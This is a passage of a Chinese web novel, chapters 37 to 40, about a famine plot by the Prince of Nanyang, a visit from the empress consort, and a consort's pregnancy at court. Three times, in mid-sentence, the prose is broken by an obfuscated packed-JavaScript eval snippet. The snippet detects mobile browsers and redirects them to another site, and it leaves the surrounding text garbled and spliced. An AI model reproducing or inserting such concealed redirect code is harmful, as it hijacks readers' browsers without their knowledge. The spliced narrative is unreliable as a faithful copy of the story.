“卑职未曾胡言。”戴玥抬头看向南阳王,虽心怀畏惧,却仍壮着胆子道:“不仅虫疫未曾爆发,就连码头那几处隐蔽粮仓也被一群流民误打误撞的发现了,消息传的飞快,滞留在南陵郡城外的流民几乎蜂拥而至,看守眼见不妙,急忙遣人回禀。谁料那司马参军竟如此愚钝,竟带了一队衙役大摇大摆的前去镇压。流民立时明白这是官府私藏的粮仓,愤慨异常,双方直接打作一团,司马参军还被流民擒获,如今流民嚷着要带她上京告御状呢!” 许是气怒,亦或是愤然,裴若只觉一股热血自心肺直冲头顶,脑中霎时一片空白。良久,才渐渐回过神来,心中既不甘、愤怒,又十分不解:“怎会如此?怎会如此?” “王卿,此时不是计较这些细节的时候。”戴玥急道:“朱秋华必是活不成了,与其等她被押解入京攀扯王卿,倒不如王卿当机立断给她个痛快。无论如何,先将南阳府从这漩涡中摘出来才是正道!只要南阳府稳住,一切尚有转圜余地。” 裴若沉默数息,努力压制心头翻涌的怒火,一番沉吟,沉声道:“苗翎谷的疫虫一旦染上,传播迅猛,除了豢养者几无可解!怎会连爆发也无?此事听起来实在蹊跷,若是天意,一个南陵刺史死不足惜;若是人为……此时刺史府定有人蹲守,我们急于灭口,反落得‘自投罗网’的下场!” 戴玥蹙眉,一脸愤然道:“何人如此歹毒?” 裴若眼眸微眯:“无外乎两个人,要么是京城那个,要么就是西边的那个!若是京城那个还好办,心软无权,心中总还念着姐妹之情;就怕是西边那个……想做得利的渔翁。” 戴玥与主子同仇敌忾,紧握成拳,咬牙切齿:“卑职早就觉得西川王不安分!”她言此看向裴若:“那这朱秋华还杀不杀?” 裴若捏的手骨咯咯作响,数息静默,有了决断:“不必急于一时。南郡距京千里,道路泥泞,消息传回京城,再派人过来,怎么也要好几日。当务之急,还是要搞清楚怎么回事。你马上派人混入流民……” 话音未落,庭院外忽传来男子清冽之音:“流民便不必扮了,破你计划之人,正是本宫。” 主仆二人闻声齐齐望向院门,只见一男子身着月白锦袍,迈着闲庭信步般缓缓而来,姿态从容,仿佛在逛自家后院。即便面对裴若阴鸷的注视,他嘴角仍微微上扬,轻描淡写的说道:“前几日梦见了姬奇,他说想你了。本宫最喜成人之美,于是不远千里……” 陆长行敛起笑容,眸色瞬间变得阴冷:“替他见见你这个未亡人!” 37. 第 37 章 清晨的微风带着一丝凉爽,吹的东窗外一排青竹摇曳,竹叶摩挲,沙沙作响。 杯中头茬的嫩茶在热水中缓缓舒展,茶汤清澈,淡淡清香。啜饮一口,唇齿留香。 裴若面色不悦,却仍要顾及王卿的体面,放下杯盏后看向男子。 多年不见,昔日那张扬不羁的少年,如今早已变得沉稳内敛。素喜半束的发式,而今却梳得格外规整,以白玉簪高冠,更显端方雅正,眉眼中亦多了几分岁月的沉淀与成熟。 “父仪天下的君后,不好好待在栖梧宫,竟不远千里跑来南陵赈灾?你就不怕身份暴露,被流民扯成碎片?” 裴若语气中带着几分冷嘲,言此,好整以暇的看着他。 毕竟从前的陆长行就像个炮仗,一点就着! 而今,陆长行侧倚凭几,姿态闲适的拨弄着腕上的银镯,倒显得比她这个南阳府的主人还要自在几分。闻言,面色竟无半点波澜,反而讥讽道:“王卿好脾性,我坏了你这么大的事,你竟还有心情关心我的处境。” 裴若冷哼一声,心中虽满是愤怒与不甘,但事已至此,倒不如仔细权衡当下局势。她微微沉吟,语气稍缓:“你初入京城那两年,性子张扬狂野,结下不少梁子,好几次还是我替你解围。你我虽算不上朋友,倒也称不上敌人。时移世易,而今你我立场不同,你坏我好事,我也没什么好说的,要怪只怪我运道不及。” 陆长行微微一笑,柳叶般的眸底却是一片冰凉:“陛下把你从南戍郡调回,免你戍守边地之苦,赐你封地,予你尊称,享亲王之养,你还有什么不满足?竟联合那些蛀虫搞出这么一档子事!就不怕传出去给皇室蒙羞?” 裴若目光直视男子,语气比目光更冷漠:“我是先帝的第二女,才智远胜于前太女,功绩亦是卓越,曾是众皇妹的表率。不过是一招行差踏错,就被母皇贬黜南戍。多年苦心经营,一朝倾覆,自此,京城的风波再无我的身影。你若是我,又如何甘心?” 陆长行瞥了她一眼,语气中带着几分不屑:“裴思暴戾愚钝,又因君后所生,性子不可一世,是个人都比她强,你才智胜过她有何可吹嘘的?” 裴若:“……” “除裴思外,你便是众皇女之长,做众皇女表率不是应当?”陆长行白了她一眼,继续说道:“贪墨朝廷税银你也不是头一次了,当年你与先盐铁使交往过密,为的不就是大肆敛财私下练兵?如此谋逆之举,你竟还敢说你只是一招行差踏错?掩过饰非,不知所谓!” 裴若眸色一沉,冷冷道:“多年不见,本王差点忘了星河世子这张嘴,跟开过刃似的!” 陆长行冷哼道:“谬赞!” 茶已温热,裴若举杯一饮而尽,重重放下茶盏,语气格外阴沉:“你今日来此,总不会就是为了嘲讽我几句吧?” 陆长行长吸一口气,缓下情绪,才从袖口抽出一本书扔到裴若面前。那书的封皮早已破败不堪,泛黄的油皮纸显得格外陈旧。 裴若有些嫌弃地取了出帕子垫着,小心翼翼地铺平书卷。封面上的“典制考”三字映入眼帘,她愈发不耐烦:“什么鬼东西?” 陆长行直截了当:“惊蛰前夕,贡院失火。火焰颜色奇异,与二十一年前文渊阁大火的颜色一致。当年这本书被一个吏员压在身下,因而未毁。我想知道,文渊阁那场火,你知道多少?为何那吏员宁死也要保下这份书卷!” 裴若沉吟片刻,似明白了什么,用他刚刚的语气呛他:“北境王死了好几年了,当年的军械案也证据确凿。你如今位居东宫,已是天下地位最尊崇的男子,还有什么不满足?人死如灯灭,就算找到证据翻案,你家人又不能复生,何必呢!” 陆长行拳头紧攥,声音微微发颤:“我娘是无辜的!” 裴若微微耸肩,语气中带着一丝冷漠:“时过境迁,谁还在乎。” 裴若见男子胸口起伏,知他情绪波动,便不再激他,只沉声道:“文渊阁沦为废墟时,我刚满五岁。虽已知事,但毕竟年幼,记忆难免模糊。我且说给你听,旁的你自行斟酌分辨。” 她眉宇微蹙,眼眸涣散,似在思及过往:“此事要追溯到三朝前。传闻皇祖母年轻时深爱常家郎,奈何那时的常家不过小门小户。为了让最爱的男子与自己比肩,皇祖母大力扶持常家,甚至为储君的母皇择的夫婿都是常氏嫡出。皇祖母驾崩后,常家势大,竟隐约有凌驾于皇权之势。所以初登大宝的那几年,母皇极为憋屈。为了分散常家势力,母皇提议弱化世家袭爵制,改革科举制。结果,就有了文渊阁那场不了了之的大火。” 室中静默良久,微风吹入窗棂,轻抚过脸颊,带来一丝凉意,却也吹散了凝重的气氛。 男子目光深邃,久久方才找回自己的声音:“我知道了。” 陆长行心中所求已然明了,多留无益,当即起身:“来的突然,未曾有什么准备,索性替你的相好送来一句问候:瞿辰很想你,并祝你岁岁常安。” 言罢,他转身便欲离去,却闻身后裴若疑惑出声:“谁是瞿辰?” 陆长行身形微僵,脚步停在原地良久,才缓缓转过身来,一脸嫌恶地看着她:“多年不见,你果然还是那个四处留情又不认账的混蛋!” 裴若被他这突如其来的指责弄得莫名其妙,心中也生出几分恼意,冷声道:“我和你说过多少次,姬奇的死与我毫无干系,他自寻短见,与我何干?” 陆长行静默数息,原本有很多话要说,但思及裴若的性情,终究觉得无甚意义,只是冷冷道:“与你这般冷血无情之人,实在无话可说,告辞!” 陆长行来得突然,去得也干脆。戴玥虽心怀愤慨,但没有主子的命令,也不敢贸然阻拦,只能眼睁睁地看着他登上街边的马车,扬长而去。 “王卿,”戴玥快步跑回前厅,急切问道:“朱秋华还杀吗?” 裴若放下茶盏,相比清晨时的烦躁,此时情绪已然平复,语气淡漠道:“一张嘴吃三家饭,轮不到本王动手,她自己就先撑死了。” “三家饭?” 戴玥一脸困惑,满心不解。 可见裴若颔首凝视着手中的茶盏,似陷入了沉思。便知自己若再追问便是不识趣,于是悄然退下。 两日后,南陵暴乱的消息终于传入了京城。 所幸,预料中的疫情并未发生,南陵私藏的粮仓解了灾民的燃眉之急。得知流民无家可归,凤帝从私库中挪出二十万两白银,命三司官吏亲自送往南陵,供流民安置新居,同时追查南陵灾洪的始末。 朝会散去,裴源赶回凝辉殿时,南阳王的请罪折子早已稳稳地躺在案牍之上。 乌宛白奉茶而入,裴源正“欣赏”着南阳王的请罪奏折, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331583|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读到动情处,眼中竟泛出了泪光。 “从前竟不知,朕这二皇姐文采斐然。”裴源打趣着饮了一口茶,随手将奏折扔给了乌宛白。 这本不合规矩,乌宛白犹豫着未曾翻阅,听凤帝道:“让你看你就看!犹豫什么?” 乌宛白缓缓展开奏折,细细阅览。通读之后,斟酌着说道:“奴婢瞧着……南阳王此番上折,似有回京之意。” 裴源微微一笑,语气中带着几分调侃:“她本就有回京之心,只是回京的路数,从朕大张旗鼓地迎她归来,改成了她入京请罪罢了。” 乌宛白微微蹙眉,反问道:“陛下准吗?” “为何不准?”裴源放下茶盏,轻轻摩挲着指间的黑玉扳指,语气笃定:“归根结底,皆为权谋。与其让权柄旁落他人之手,不如握在亲姐姐手中。只是这皇室的名声,不能沦为天下人笑柄。她若回京,必须名正言顺;但朕也得敲打她,免得她得意忘形。所以如何召她回京,回京后授她何官,还需朕细细思量。” 乌宛白沉默片刻,将奏折合拢放置于案牍之上,语气平和道:“既然南阳王才情了得,陛下何不将‘成就’帷帽诗仙的重任交到她的手里?” 裴源眉梢微挑,稍一思量后,看向乌宛白的目光略带赞赏。 乌宛白似受鼓舞,微微一笑,继续道:“南阳王毕竟是亲王之身,陛下大可以予她一个崇高的虚衔,这样既保全了皇家的颜面,也方便她携‘诗仙’之名,替陛下效力。” “你呀!”裴源长叹一声道:“难怪历来九千岁权柄滔天,哄圣人的能耐的确让人心悦诚服!” 乌宛白不知什么是九千岁,以为凤帝此言似有敲打之意,当即俯身跪拜,恭敬道:“奴婢不敢妄求九千岁,唯愿比陛下早逝一日,得以先行赴仙界铺路,熟悉诸般庶务,以免仙娥不识陛下,侍奉稍有不周。” 裴源:“…………” 裴源愣愣地看着她,语气中带着一丝无奈:“都成仙了,你还伺候朕?” 乌宛白正色道:“奴婢卑贱之躯,何以升天?还不是借了陛下的光!奴婢生是陛下的人,死是……” 裴源无奈地扶额,打断她道:“你快闭嘴吧!越说越离谱。” 乌宛白微笑应是,起身见茶盏已空,便匆匆命人奉上新茶。茶杯刚递到凤帝手中时,宫侍一路小跑,喘着粗气而来。 “陛下!” 裴源瞥了眼来人,瞧着眼熟,却叫不上名字。 乌宛白道:“陛下,来者皮青,是秋侍君身边伺候的。” 秋侍君?原来是秋康时。 桃花酥做的巨巨巨难吃的那一位,裴源当下没了兴致,颔首啜饮着香茗。 乌宛白见状,转头冷冷瞥向皮青,斥道:“成何体统?凝辉殿前喧哗,全无规矩!” 皮青忙不迭地磕了个头请罪。可抬起头后,确实满面喜色,迫不及待道:“恭喜陛下,贺喜陛下!” 他性子急,根本等不及凤帝发问,便高声宣布:“秋侍君连日来恶心犯困,招来太医一瞧,竟已怀有两个月身孕!” “噗——” 裴源刚饮下的一口热茶瞬间喷涌而出,尽数洒在案牍之上,奏折被溅得一片狼藉。 乌宛白更是目瞪口呆,愣在原地半晌后,顿时眉开眼笑,语无伦次道:“恭喜陛下,您喜当娘了~” 38. 第 38 章 去往玉缡宫的路上,裴源心绪复杂。 隐约听到抽泣声,颔首一看,御撵下疾步走的乌宛白喜极而泣,老泪纵横。 一时搞不清谁才是孩子娘的裴源:“……” 各宫君消息都很敏锐,一有风吹草动,齐齐赶至,围着秋康时嘘寒问暖,还是宫侍的一句‘陛下至’,引来所有人的注目。 众君收敛心情,齐齐跪地请安。可跨入玉缡宫的凤帝却径直走向为首的男子,躬身亲扶他道:“有了身子就莫行礼了,以免动了胎气。” 秋康时小心抬首,双颊泛红的脸比夕阳余晖还要醒目。裴源没忍住,伸手轻轻搓了一下他的脸颊,粉腻腻的,忍不住叮嘱道:“跟猴屁股一样难看,往后莫扑了,对孩子不好。” 秋康时:“……” 秋康时借力起身,心中原本准备了许多话,可凤帝一句话下来,热情瞬间消散。 媚眼抛给瞎子看,说了也是白说。 众君亦得令起身,面上笑着,恭喜了裴源后又开始了窃窃私语,室内一时无比嘈杂,裴源自觉屏蔽了诸君的话,坐下后,凤眸有意无意地往秋康时的肚子上瞄。 生儿育女本是女子之责,可女子又是主要劳动力,既要赚钱养家,又要操心生产,实在有违人性。就在此时,神医天降,几幅药剂下去,自此,男子生儿育女成了寻常。 即便裴源稳如老狗,可初闻此事时还是不禁咂舌。果然,人类对身体机能的开发,只有想不到,没有做不到。 郭嘉安对秋康时孕女一事似乎并无太多反应,只冷不丁开口:“君后身子抱恙已久,每日闭门不出也就罢了,如今后君有了喜事都未露面,看来病得不轻。” 诸君纷纷将目光投过去,宸贵君一如往昔般穿着明艳,眉心火苗状的红钿更似汹汹烈焰,妖冶动人。虽坐在凤帝下首,可挺直的背脊却如高傲的孔雀,竟比凤帝还要惹眼。 此言大不敬,诸君不敢应话。 凤帝宠爱宸贵君,即便此言不妥,她的神色亦显得十分平常,只将视线从秋康时的肚子默默转向郭嘉安的脸。 郭嘉安与陆长行好似冥冥之中的冤家,每次相见总要分说几句。裴源搞不清个中原委,只轻轻摩挲着黑玉扳指,语气不痛不痒:“不准非议君后。” 郭嘉安轻哼一声,语气中带着几分不满:“怎么就非议了?臣也是关心君后身体。如他这般每日闭门不出,没病也憋出病了。” 裴源眉梢微挑,正要开口,却瞥见一道月白身影阔步而来,便敛起情绪,姿态闲适地静观其变。 陆长行尚未踏入殿门,声音却先一步传入殿中:“若早知宸贵君如此关切本宫,栖梧宫门紧闭前,就该单独召贵君前来侍疾。” 诸君闻声而望,郭嘉安亦转头看去。半月不见,君后全无病态,体健如初。纵然身着淡雅的月白锦袍,可举手投足间的气势,更胜从前。 郭嘉安不情不愿地起身,跟着诸君行礼。陆长行的一双柳叶眸却略过众人,目光含蓄地落在凤帝身上,屈身恭敬道:“陛下。” 裴源侧倚着托腮而坐,目光闲适地将陆长行从头打量到脚。他没晒黑,也没受伤,只是那双手似乎糙了几分。 依着裴源的心思,本该晾着他不予理会,可诸君都在场,不宜任性,于是放在膝上的手指轻轻一抬:“朕记得君后略通医术,去给秋侍君瞧瞧,胎像可稳固?” 陆长行起身应道:“是。” 秋康时则娇柔颔首,婉拒道:“陛下,君后千金之躯,臣岂敢劳烦?请陛下来前,臣已命两位太医瞧过,太医皆说,胎像稳固,孩儿康健。” 裴源淡淡道:“朕听闻,胎儿前三个月最是不稳,这才劳烦君后给你瞧瞧。结果你还不领情。” 秋康时面色一僵,忙开口解释:“臣只是……只是……” “罢了~”裴源打断他道:“你也是要做父亲的人了,想必自有主张,朕不过问便是了。” 裴源沉吟片刻,仔细斟酌,再开口时,每一个字似乎都带着分量:“秋侍君孕女有功,朕心甚慰,晋封为卿君,赐玉如意一对,寓意吉祥,以慰卿君孕女之苦。” 殿内静默片刻,回过神的众君急忙道喜:“恭喜秋卿君。” 秋康时更是满脸喜色,跪地叩恩:“谢陛下。” 裴源忙起身亲扶他道:“不是叮嘱你了,莫跪。万万仔细安胎,八个月后,朕另有恩赏。” 秋康时笑容微僵,尚未来得及多言,就见凤帝转过身与君后交代:“这是朕的第一个孩子,朕不希望她有任何闪失,还望君后仔细照看。” 立夏方过,气温陡然升高,暑气渐起。才至午时,裴源便觉得心烦意乱,饭菜难以下咽。窗外,破土而出的蝉争先鸣叫,聒噪声此起彼伏,搅得人心神不宁。 纵然冰盆融化送来一丝凉意,裴源仍觉燥热难耐。她退下外衣,又将里衣紧扣的领口扯开,这才觉得呼吸顺畅了些。 案牍上,一摞奏折终于见了底,可乌宛白却将另一摞小山高的奏折推到了跟前。裴源烦闷地扔下笔,愤愤道:“都说废话都不要上报了,但这折子就是不见少。等哪一日朕气急,就下令把这些喜欢浪费笔墨的大臣都杀了!” 乌宛白:“……” 正准备让徒弟奉上凉茶,甫一转身,乌宛白的目光便落在了君后的身影上。 凤帝亦已察觉,却装作视而不见,将扔在桌案上的笔重新提起,坐得端端正正,继续批阅起奏折。太过专注,连君后的请安声都未曾听到。 陆长行也不为难自己,径自起身行至案牍左右,俯下身拉扯她的衣袍:“陛下~半月不见,你都不想臣吗?” 裴源看都不看他一眼,没好气道:“乌尚宫,请将朕半月之前在此立下的毒誓,一字不落的转告给某人!” 乌宛白尴尬极了,默默转动着浮尘的手柄,干笑着:“这……呵呵呵。” 她的笑声憨厚,可裴源却听出了几分嘲讽意味,于是不善地白了她一眼。 陆长行见势,又扯了扯她的衣角,语气中带着几分委屈:“臣想念陛下的紧,一路急着回来,腿都伤了,陛下忍心让臣这么跪着吗?” 凤帝微有动容,不过自己立下的毒誓绝不可破,故而挪了挪屁股,让出个位置出来。 乌宛白见状,哪里还敢多留,忙躬身退下,临了还不忘关上了殿门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336992|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝉鸣声似乎瞬间敛去几分,殿门紧闭,隔绝了外面的阳光。暗下的瞬间,仿佛连燥热也被全部带走,裴源心底积压的烦闷好像顷刻间就消散了。于是待陆长行刚一落座,便如饿狼扑食般禁锢住陆长行的双腕,将他压在身下,肆意索取。 陆长行只在短暂的愣怔之后,便放软了身躯,任由她予取予求。 不消片刻,唇瓣已然炙热如火,呼吸渐渐沉重。女子的攻势渐渐弱了下来,禁锢着他手腕的手缓缓上移,摩挲间,触碰到了男子掌心的伤口。 滋养蛊籽的伤口原本已经结痂,然而连日策马,手握缰绳,痂落伤口扩散。女子一经碰触,掌心的痛意瞬间牵连十指,最后,痛到每个指尖都在痉挛打颤。 裴源似有所觉,松开了手,将头枕在了男子的颈窝。 陆长行心中顿时如飘满了柳絮的草原,柔软而杂乱无章,所以轻轻环住双臂将女子拥在怀里。轻声说道:“陛下别生气了,好不好?” 裴源冷哼一声:“亲了你,与生你气是不相矛盾的,所以,你下次来,朕还是不理你!” 陆长行只觉哭笑不得:“陛下都是要当娘的人了,怎么还这般孩子气?” 裴源微微蹙眉,起身打量他的眉眼,柳叶眸缱绻还带着笑意,原本平复的心瞬间又烦躁起来:“君后倒是贤惠大度,旁人怀了朕的孩子,你开心的跟个什么似的!” 陆长行:“……” 见她再次负气提笔批阅奏折,陆长行马上宽慰道:“臣与陛下心意相通,焉能看不出秋康时心虚之举?所以秋卿君怀有身孕的消息,臣已派人告知了凤武将军,往后这皇宫防守,秋将军必会十分卖力。臣若想钻狗洞外出怕是再不能了,这对陛下来说,难道不是好事吗?” 裴源写了个阅,将奏折一合随意扔到了一旁:“皇权旁落朕就够窝囊了,而今头上又顶着一片青青草原,凤帝做到朕这个程度,也算是前无古人后无来者了。” 陆长行将奏折规整整齐,闻言眸色一沉:“臣回京前曾与南陵刺史深度交谈了一番,南阳王虽有介入,皆因南陵刺史主动投诚。能闹出这么大的风波,每一步都需仔细斟酌,臣观南陵刺史似没那个脑子,这幕后必定有高人指点。” 他话音停顿,见裴源眉宇微蹙,似在思量什么。于是默了默后,又道:“而今朝局文臣各自为政,乱如散沙;而武将的缔结却稳如磐石,容不得半点介入。统军统辖禁军,禁军又是陛下近卫,若是她们生出旁的心思,臣心中实在惶恐。” 裴源静默数息,开口道:“苍天大树往往根基甚稳,外力若不能动摇,就只能祈祷它从内里腐败了。” 陆长行不置可否:“孩子的来路不重要,想办法将消息传入秋将军的耳中,她必会担心此事败露,从而想尽办法替秋康时料理后事;除去奸妇后,又会因蒙蔽了陛下而自满,自满愈重则会自负。一旦对自己的力量盲目,便会失了分寸。届时,陛下给她当头一棒,还担心她不为陛下所用吗?” “陆长行!” “嗯?” 裴源扔了笔,看着他气势汹汹:“话都让你说了,朕说什么?” 陆长行:“……” 39. 第 39 章 数日不见,凤帝愈发娇气,像个没长大的小姑娘。 陆长行没有一句辩解,急忙抬手:“臣错了。” 掌心的伤恰展露在裴源面前,皮肉挫伤,实在骇人。裴源抿了抿唇,将气话全部咽下,瞥开脸继续批阅奏折,装作毫不在意:“伤那么厉害也不处理一下。” 陆长行眉梢微挑,随意看了眼掌心的伤,轻描淡写道:“臣才一回宫,便听闻了玉缡宫的消息,匆匆换了衣裳便赶去了。适才仔细嘱咐了秋康时,又叫来了御膳房和内秩署的尚宫,安排在玉缡宫开小灶诸事。刚闲下来就巴巴给陛下请安。陛下爱干净臣是知道的,哪里敢露伤口污陛下青眼,不是没得空嘛。” 裴源提着的笔久未落下,任由内心情绪翻涌,可面上表情依旧平静,无一丝情绪显露。待落笔之时,声音也缓缓飘出:“未抽空翻阅过朕的起居注?” 陆长行一怔,静默几息,才斟酌道:“后君怀女这般大的事,臣自要寻凌尚宫确认一二。” 裴源轻“嗯”一声,语气淡漠又道:“监办处离你的洗梧宫也有段距离。遣人去、等人来,也有会儿功夫,得闲儿不上药,心思全用在胡思乱想上了吧?” 陆长行低垂的眼睫微颤,良久,柳叶眸才缓缓抬起,落在小凤帝的面颊上。女子情绪从容,眼眸飞速在奏折上流转,仿佛刚刚的话只是随口之言。 似察觉了陆长行的注视,裴源淡淡又道:“朕虽失去了记忆,不代表没有判断。秋康时的桃花酥做得很难吃,入宫三载,厨艺毫无精进,显然未将心思用在朕的身上。他容貌身段不及韩柏,善察言观不及柳玉书,就连撒娇的样子都不及郭嘉安用心讨喜。朕很难说服自己,曾与他一夜缠绵欢好。” 陆长行颔首,抠着掌心的血痂,情绪低沉:“陛下无需向臣解释什么。陛下是帝王,枕畔间侧卧百君本属寻常,诸君为陛下绵延子嗣乃职责所在。臣为君后,本该常劝陛下平分雨露,宠及六宫。然臣……臣心悭吝,此乃臣失职之处,陛下不责备臣已属宽宥,臣不敢过多奢求。” 凤帝紧握着朱笔的手慢慢紧攥,她本想说些什么,可身处当前立场,感觉一切话语都显得十分扯淡。 彼时,殿门传来厚重的叩击声,几息后,乌宛白推门而入:“陛下,文侧君求见。” 陆长行眸色稍显暗淡,起身退至案牍一侧,声音沉闷道:“臣一路奔波,实在疲乏。若陛下无事,容臣告退。” 裴源并未抬首,只淡淡道:“去吧。” 月白身影缓步退下,行得远了,凤帝才抬眼凝望着他的背影。长身玉立的端雅君子,宛若初春树尖上绽放的玉兰,本该傲立枝头,怎么就跌落进了这四方围城里? 陆长行对凤眸的注视浑然不觉,跨出殿门时,恰与柳玉书打了个照面。少年微微颔首,行了一礼,见君后将目光落在他手中的食盒,轻声解释道:“陛下怕热,故而臣做了解暑的茶粥。” 陆长行微微颔首,语气平和:“陛下脾胃患有隐疾,因而夏燥。凉食虽可暂解燥热,但多食之后,恐寒湿内生,有碍气血生成。所以,陛下宜少食凉物,以免寒凉之气阻遏阳气,加重脾胃损伤。” 柳玉书闻言一愣,一时之间,竟不知该进还是该退。 陆长行见状,又道:“少食无妨,文侧君不必惶恐。本宫只是提醒一句,文侧君心中有数便好。” 柳玉书这才松了口气,躬身道:“多谢君后指点,臣知道了。” 见君后侧身让路,柳玉书缓步而入,身后的殿门悄然阖上。陆长行才回首凝望片刻,低语问道:“文侧君近日常来吗?” 乌宛白微微颔首,道:“较之以往,近日的确频繁许多。”她默了默,又道:“柳博士近来也是凝辉殿的常客。” 君后前脚刚走,柳文澜便匆匆来到了凝辉殿外。 乌宛白暗忖,人不禁念叨。 为了能让兜帽诗仙早日踏入太学府的高堂,老人家几乎要将嘴皮子磨破了。 而今裴源见了她,只觉一个头两个大。入殿后,不等她开口,裴源便将面前的茶粥递了过去:“天热,文博士先用些凉的,败败燥气。” 柳文澜哪有心思吃,一心只想着如何壮大晟文脉。她随意掏出帕子,擦了擦额上的汗珠,正色道:“陛下,如今帷帽诗仙的诗词已在京城广为传阅,臣……” 裴源摆了摆手:“柳博士不必多言,朕准了。” 柳文澜脸色微沉,仍道:“陛下,帷帽诗仙的诗句读之激昂,闻之生志,实乃我朝之幸。怎可因他是男子之身,便加以阻挠?” 裴源默默扶额:“……” 眼见柳文澜继续喋喋不休,柳玉书忙在旁小声提点:“娘,陛下准了。” “你闭嘴!”柳文澜斥道:“这哪有你说话的份?” 柳玉书:“……” 柳文澜凝视着凤帝,正欲再次劝说,忽而眸色一凛,愣了半晌,才带着一丝不可置信的语气开口:“陛、陛下,您刚刚说……准了?” 裴源微微颔首,步下高台,亲自扶她进了内殿,语气无比亲和:“朕亦钦佩帷帽诗仙的豪情壮志,奈何齐翁她老人家固执,朕左右为难。辛而今日南阳王上书,言及民间传闻:南陵郡此次灾情陡然有了转圜之际,皆因文昌帝君神迹一现,朕心大为震撼。故此,朕欲命南阳王为护仙使者,召其入京,一路歌颂诗仙神迹功德。往后,凡需诗仙出场之处,皆由南阳王代劳。如此,既免了齐翁担忧男子干政的顾忌,也能让诗仙免受凡尘俗事的叨扰。文博士以为如何?” 柳文澜心中顿时生出波涛骇浪,久久不能平息,却还是努力压下心头的震撼沉吟良久,开口依旧难掩心头激动,甚至隐隐有了哽咽声:“陛下思虑周全,甚好,甚好。” 裴源问:“那这请帷帽诗仙出山的重任就交给文博士,可好?” 柳文澜一愣,回神后恭敬一拜:“臣,荣幸之至!” 时至未时,终于送走了柳家母子,一盏凉茶下腹,嗓子的干哑终得缓解,可看到案牍上那一摞子不知所云的奏折,裴源只觉得身心俱疲,大臣一个月还能休息三日,可帝王却全年无休想,实在是很不公平。于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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案牍下跪地的庚坛吓了一缩,可低垂的眼眸却渐生雾气,伏地的双手更是慢慢紧攥成拳,心中满是大仇终得报的痛快。 裴源并未注意一个小宫侍的举止,将早就准备好的拓纸拿给他,指了下不远处的小桌案:“木刀已备好,去吧。” 庚坛恭敬接在手里,坐下后方才认真看起来拓纸所书,无外乎是“朕阅之”“朕已知”“准奏”“依奏”等并无意义的题字。 手握起刻刀的那一刻,庚坛眉宇间透出几分凌厉,仿佛瞬间变了一个人,毫无刚刚跪地时的怯懦与胆怯。木头在刻刀的雕琢下,很快初具雏形。夕阳刚埋入云层,第一个印章便刻好了。 呈给裴源时,她只是扫了一眼,便沾了墨拓印在奏折上。看着与自己笔书一般无二的印字,她嘴角不禁勾起一丝笑意:“内秩署不必回了,往后你便留在凝辉殿当差。” 庚坛一愣,回过神来,扑通跪地:“奴才谢陛下恩典!” 裴源:“……” 一惊一乍的,吓她一跳! 裴源拍了拍胸口,而后心有余悸的看着他膝盖下的那方砖石,还好,没裂~ 40. 第 40 章 四日的路程,被陆长行硬生生压缩至两日半。终于见到了挂念之人,心中再无半点挂碍。洗去一身疲惫,热气蒸腾间,困乏如潮水涌来。头刚一沾到枕头,便阖眼睡去。 但思绪似乎还停留在回程路上,因而画面不断。 策马奔腾,尘土飞扬,恍惚间,仿佛又回到了几年前南下的路上。 那日,他无意间闯入了一片诡异的丛林,浓雾悄然升起,空气里响起奇怪的虫鸣。马儿自此受了惊,完全脱离了他的掌控,惊慌失措的开始狂奔。 他试图勒住缰绳却徒劳无功。最终,他一头撞上了凸起的树杈,眼前一黑,晕死过去。 醒来时,自己身处一间破旧的木屋。昏暗的光线里,墙上悬挂的各类动物尸骸,森森白骨,皮毛破败,格外恐怖诡异,令人不寒而栗。他惊慌坐起,却听到一阵铁链的窸窣声。 低头一看,手腕粗的铁链,自脚腕延伸至地面凸起的铁栓。 他被人囚禁了。 囚禁他的是一群身着奇装异服的少女,她们说着他听不懂的话向他靠近,手持锋利的刀具。他挣扎着想要反抗,却被她们轻易控制住。而后利落的割开他的手腕,只为获得他的鲜血。 伤口刚刚愈合,又会重新上演。自此,他变成了一个供血的囚徒。 为了让他的伤好的快些,总有女子趁他熟睡时,为他的伤口上药。 陆长行忍无可忍,终于抓准时机,猛地起身骑在女子身上,狠狠扼住了她的喉咙。 完全状况之外的裴源:“……” 裴源初时并未当回事,以为他只是噩梦惊厥,只要醒来就会无碍。可不过片刻便察觉出了不对劲。因为男子交缠的手掌带着狠厉,似要扭断她的脖子。 双手被陆长行压在身下,裴源挣扎不了,叫喊不出,短短数息,她就看到了驾崩的先帝。 先帝双手环胸,冷眼旁观了一阵,后啧啧摇头,嘲讽拉满。 裴源:“……” 如何获救的裴源一概不知,只知先帝的身影散成一团雾后,眼前出现了几张惊慌失措的脸。 时至子时,栖梧宫内殿不知何时燃起了蜡烛,昏黄的烛光将殿内一切映照的影影绰绰。 陆长行跪坐在女子身畔,眼眸中满是慌乱无措,心中愧疚心疼的无以复加。 他不知自己该做些什么,想要扶她起身,却不敢再去触碰她的身体。只能双眼泛红地望着她,颤抖的重复那三个字:“我错了、我错了、我错了……” 